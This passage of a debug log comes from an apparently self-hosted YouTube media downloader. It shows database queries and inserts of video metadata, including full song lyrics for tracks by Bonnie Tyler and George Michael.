dream of what I need\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life, larger than life\n\n[Post-Chorus]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 2]\nSomewhere after midnight in my wildest fantasy\nSomewhere just beyond my reach, there's someone reaching back for me\nRacing on the thunder and rising with the heat\nIt's gonna take a Superman to sweep me off my feet, yeah\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Break]\n\n[Bridge]\nUp where the mountains meet the heavens above\nOut where the lightning splits the sea\nI could swear there is someone somewhere watching me\nThrough the wind and the chill and the rain\nAnd the storm and the flood\nI can feel his approach like a fire in my blood\n(Like a fire in my blood, like a fire in my blood)\n(Like a fire in my blood, like a fire in my blood, blood)\n\n[Chorus]\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Outro]\n\nGolden Network is a music brand on YouTube that curates pop, dance, new music, the most trending songs on TikTok and old and new music hits and some rap, hiphop and rnb songs as well.", "duration" => 341, "filename" => "/downloads/Classics/Classics/2026-06-09Bonnie Tyler - Holding Out For A Hero (Lyrics)[LruIRarMlng].m4a", "id" => "LruIRarMlng", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LruIRarMlng", "playlist_index" => 5, "timestamp" => 1781036596, "title" => "Bonnie Tyler - Holding Out For A Hero (Lyrics)", "upload_date" => "20260609"} 22:20:11.809 [debug] QUERY OK source="sources" db=0.1ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:11.809 [debug] QUERY OK source="sources" db=0.1ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:11.809 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-09 20:23:16Z], 2] 22:20:12.007 [debug] QUERY OK source="media_items" db=197.0ms idle=0.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👉Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\n🎵 Follow the official Golden Network playlist on Spotify: https://open.spotify.com/playlist/78TFbUcZBZ8a70kFHK1et9?si=cb29aee6e1ec4cc0\n\n🔔 Hit the Subscribe Button and Turn on notifications to stay updated with new uploads!\n\n🎤 Song Lyrics : Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\nLyrics : \n\n[Intro]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 1]\nWhere have all the good men gone and where are all the gods?\nWhere's the streetwise Hercules to fight the risin' odds?\nIsn't there a white knight upon a fiery steed?\nLate at night, I toss and I turn and I dream of what I need\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life, larger than life\n\n[Post-Chorus]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 2]\nSomewhere after midnight in my wildest fantasy\nSomewhere just beyond my reach, there's someone reaching back for me\nRacing on the thunder and rising with the heat\nIt's gonna take a Superman to sweep me off my feet, yeah\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Break]\n\n[Bridge]\nUp where the mountains meet the heavens above\nOut where the lightning splits the sea\nI could swear there is someone somewhere watching me\nThrough the wind and the chill and the rain\nAnd the storm and the flood\nI can feel his approach like a fire in my blood\n(Like a fire in my blood, like a fire in my blood)\n(Like a fire in my blood, like a fire in my blood, blood)\n\n[Chorus]\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Outro]\n\nGolden Network is a music brand on YouTube that curates pop, dance, new music, the most trending songs on TikTok and old and new music hits and some rap, hiphop and rnb songs as well.", "Bonnie Tyler - Holding Out For A Hero (Lyrics)", "576bc560-41c3-4685-94a5-5a5d6cebcbec", false, "LruIRarMlng", 341, false, "https://www.youtube.com/watch?v=LruIRarMlng", 5, "/downloads/Classics/Classics/2026-06-09Bonnie Tyler - Holding Out For A Hero (Lyrics)[LruIRarMlng].m4a", false, false, 2, [], 1, ~U[2026-06-09 20:23:16Z], ~U[2026-07-24 02:20:11Z], ~U[2026-07-24 02:20:11Z], "👉Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\n🎵 Follow the official Golden Network playlist on Spotify: https://open.spotify.com/playlist/78TFbUcZBZ8a70kFHK1et9?si=cb29aee6e1ec4cc0\n\n🔔 Hit the Subscribe Button and Turn on notifications to stay updated with new uploads!\n\n🎤 Song Lyrics : Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\nLyrics : \n\n[Intro]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 1]\nWhere have all the good men gone and where are all the gods?\nWhere's the streetwise Hercules to fight the risin' odds?\nIsn't there a white knight upon a fiery steed?\nLate at night, I toss and I turn and I dream of what I need\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life, larger than life\n\n[Post-Chorus]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 2]\nSomewhere after midnight in my wildest fantasy\nSomewhere just beyond my reach, there's someone reaching back for me\nRacing on the thunder and rising with the heat\nIt's gonna take a Superman to sweep me off my feet, yeah\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Break]\n\n[Bridge]\nUp where the mountains meet the heavens above\nOut where the lightning splits the sea\nI could swear there is someone somewhere watching me\nThrough the wind and the chill and the rain\nAnd the storm and the flood\nI can feel his approach like a fire in my blood\n(Like a fire in my blood, like a fire in my blood)\n(Like a fire in my blood, like a fire in my blood, blood)\n\n[Chorus]\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Outro]\n\nGolden Network is a music brand on YouTube that curates pop, dance, new music, the most trending songs on TikTok and old and new music hits and some rap, hiphop and rnb songs as well.", "Bonnie Tyler - Holding Out For A Hero (Lyrics)", "LruIRarMlng", 341, false, "https://www.youtube.com/watch?v=LruIRarMlng", "/downloads/Classics/Classics/2026-06-09Bonnie Tyler - Holding Out For A Hero (Lyrics)[LruIRarMlng].m4a", false, 2, ~U[2026-06-09 20:23:16Z]] 22:20:12.008 [debug] QUERY OK source="sources" db=0.2ms idle=198.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:12.008 [debug] QUERY OK source="media_profiles" db=0.1ms idle=198.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:12.008 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [42] 22:20:12.009 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "George Michael - Careless Whisper (Official Video)\nPre-order the Careless Whisper EP here: https://georgemichael.lnk.to/40CarelessWhisper\nStream and download here: https://georgemichael.lnk.to/Streaming\nSubscribe to the George Michael YouTube channel: https://georgemichael.lnk.to/YouTubeSubscribe \n\nWATCH FREEDOM! '90 MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube3\nWATCH FASTLOVE MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube4\nWATCH LAST CHRISTMAS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube2\nWATCH AS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube5\n\nFollow George Michael: \nTik Tok - https://www.tiktok.com/@georgemichaelofficial \nInstagram – https://www.instagram.com/georgemofficial/ \nX - https://x.com/GeorgeMOfficial \nFacebook - https://www.facebook.com/georgemichael/\nOfficial website - http://www.georgemichael.com\n\n#GeorgeMichael #CarelessWhisper #GeorgeMichaelOfficial #Wham #GeorgeMichaelOfficialVideo #GeorgeMichaelLive #GeorgeMichaelEssentials #TikTok #Faith #LastChristmas #GeorgeMichaelCarelessWhisper #CarelessWhisperTikTok #GeorgeMichaelTikTok\n\nLyrics\n\nI feel so unsure\nAs I take your hand\nAnd lead you to the dance floor\nAs the music dies\nSomething in your eyes\nCalls to mind a silver screen\nAnd all its sad goodbyes\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTime can never mend\nThe careless whispers of a good friend\nTo the heart and mind\nIgnorance is kind\nThere's no comfort in the truth\nPain is all you'll find\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTonight the music seems so loud\nI wish that we could lose this crowd\nMaybe it's better this way\nWe'd hurt each other with the things we want to say\nWe could have been so good together\nWe could have lived this dance forever\nBut now who's gonna dance with me\nPlease stay\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nNow that you're gone\nNow that you're gone\nNow that you're gone\nWas what I did so wrong\nSo wrong that you had to leave me alone?", "duration" => 301, "filename" => "/downloads/Classics/Classics/2009-10-25George Michael - Careless Whisper (Official Video)[izGwDsrQ1eQ].m4a", "id" => "izGwDsrQ1eQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=izGwDsrQ1eQ", "playlist_index" => 6, "timestamp" => 1256504750, "title" => "George Michael - Careless Whisper (Official Video)", "upload_date" => "20091025"} 22:20:12.009 [debug] QUERY OK source="sources" db=0.1ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:12.009 [debug] QUERY OK source="sources" db=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:12.010 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2009-10-25 21:05:50Z], 2] 22:20:12.299 [debug] QUERY OK source="media_items" db=162.0ms idle=0.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["George Michael - Careless Whisper (Official Video)\nPre-order the Careless Whisper EP here: https://georgemichael.lnk.to/40CarelessWhisper\nStream and download here: https://georgemichael.lnk.to/Streaming\nSubscribe to the George Michael YouTube channel: https://georgemichael.lnk.to/YouTubeSubscribe \n\nWATCH FREEDOM! '90 MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube3\nWATCH FASTLOVE MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube4\nWATCH LAST CHRISTMAS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube2\nWATCH AS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube5\n\nFollow George Michael: \nTik Tok - https://www.tiktok.com/@georgemichaelofficial \nInstagram – https://www.instagram.com/georgemofficial/ \nX - https://x.com/GeorgeMOfficial \nFacebook - https://www.facebook.com/georgemichael/\nOfficial website - http://www.georgemichael.com\n\n#GeorgeMichael #CarelessWhisper #GeorgeMichaelOfficial #Wham #GeorgeMichaelOfficialVideo #GeorgeMichaelLive #GeorgeMichaelEssentials #TikTok #Faith #LastChristmas #GeorgeMichaelCarelessWhisper #CarelessWhisperTikTok #GeorgeMichaelTikTok\n\nLyrics\n\nI feel so unsure\nAs I take your hand\nAnd lead you to the dance floor\nAs the music dies\nSomething in your eyes\nCalls to mind a silver screen\nAnd all its sad goodbyes\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTime can never mend\nThe careless whispers of a good friend\nTo the heart and mind\nIgnorance is kind\nThere's no comfort in the truth\nPain is all you'll find\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTonight the music seems so loud\nI wish that we could lose this crowd\nMaybe it's better this way\nWe'd hurt each other with the things we want to say\nWe could have been so good together\nWe could have lived this dance forever\nBut now who's gonna dance with me\nPlease stay\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nNow that you're gone\nNow that you're gone\nNow that you're gone\nWas what I did so wrong\nSo wrong that you had to leave me alone?", "George Michael - Careless Whisper (Official Video)", "185116be-e6c7-422c-bac1-9269585e9871", false, "izGwDsrQ1eQ", 301, false, "https://www.youtube.com/watch?v=izGwDsrQ1eQ", 6, "/downloads/Classics/Classics/2009-10-25George Michael - Careless Whisper (Official Video)[izGwDsrQ1eQ].m4a", false, false, 2, [], 1, ~U[2009-10-25 21:05:50Z], ~U[2026-07-24 02:20:12Z], ~U[2026-07-24 02:20:12Z], "George Michael - Careless Whisper (Official Video)\nPre-order the Careless Whisper EP here: https://georgemichael.lnk.to/40CarelessWhisper\nStream and download here: https://georgemichael.lnk.to/Streaming\nSubscribe to the George Michael YouTube channel: https://georgemichael.lnk.to/YouTubeSubscribe \n\nWATCH FREEDOM! '90 MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube3\nWATCH FASTLOVE MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube4\nWATCH LAST CHRISTMAS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube2\nWATCH AS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube5\n\nFollow George Michael: \nTik Tok - https://www.tiktok.com/@georgemichaelofficial \nInstagram – https://www.instagram.com/georgemofficial/ \nX - https://x.com/GeorgeMOfficial \nFacebook - https://www.facebook.com/georgemichael/\nOfficial website - http://www.georgemichael.com\n\n#GeorgeMichael #CarelessWhisper #GeorgeMichaelOfficial #Wham #GeorgeMichaelOfficialVideo #GeorgeMichaelLive #GeorgeMichaelEssentials #TikTok #Faith #LastChristmas #GeorgeMichaelCarelessWhisper #CarelessWhisperTikTok #GeorgeMichaelTikTok\n\nLyrics\n\nI feel so unsure\nAs I take your hand\nAnd lead you to the dance floor\nAs the music dies\nSomething in your eyes\nCalls to mind a silver screen\nAnd all its sad goodbyes\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTime can never mend\nThe careless whispers of a good friend\nTo the heart and mind\nIgnorance is kind\nThere's no comfort in the truth\nPain is all you'll find\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTonight the music seems so loud\nI wish that we could lose this crowd\nMaybe it's better this way\nWe'd hurt each other with the things we want to say\nWe could have been so good together\nWe could have lived this dance forever\nBut now who's gonna dance with me\nPlease stay\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nNow that you're gone\nNow that you're gone\nNow that you're gone\nWas what I did so wrong\nSo wrong that you had to leave me alone?", "George Michael - Careless Whisper (Official Video)", "izGwDsrQ1eQ", 301, false, "https://www.youtube.com/watch?v=izGwDsrQ1eQ", "/downloads/Classics/Classics/2009-10-25George Michael - Careless Whisper (Official Video)[izGwDsrQ1eQ].m4a", false, 2, ~U[2009-10-25 21:05:50Z]] 22:20:12.299 [debug] QUERY OK source="sources" db=630.7ms queue=0.2ms idle=25.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:12.299 [debug] QUERY OK source="media_items" db=655.3ms idle=79.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nOcean of Apathy · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Ocean of Apathy", "27df1040-f96d-445b-bfe7-f8c3b5838bdb", false, "fNjKyIoeQ48", 235, false, "https://www.youtube.com/watch?v=fNjKyIoeQ48", 23, "/downloads/ChristianMetal/ChristianMetal/2019-06-13Ocean of Apathy[fNjKyIoeQ48].NA", false, false, 5, [], 3, ~U[2019-06-13 10:00:21Z], ~U[2026-07-24 02:20:11Z], ~U[2026-07-24 02:20:11Z], "Provided to YouTube by The Orchard Enterprises\n\nOcean of Apathy · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Ocean of Apathy", "fNjKyIoeQ48", 235, false, "https://www.youtube.com/watch?v=fNjKyIoeQ48", "/downloads/ChristianMetal/ChristianMetal/2019-06-13Ocean of Apathy[fNjKyIoeQ48].NA", false, 5, ~U[2019-06-13 10:00:21Z]] 22:20:12.300 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=289.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:12.300 [debug] QUERY OK source="sources" db=0.7ms idle=127.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:12.300 [debug] QUERY OK source="sources" db=0.9ms queue=0.3ms idle=289.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:12.301 [debug] QUERY OK source="tasks" db=0.3ms queue=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [4, "executing", "available", "scheduled", "retryable"] 22:20:12.301 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", 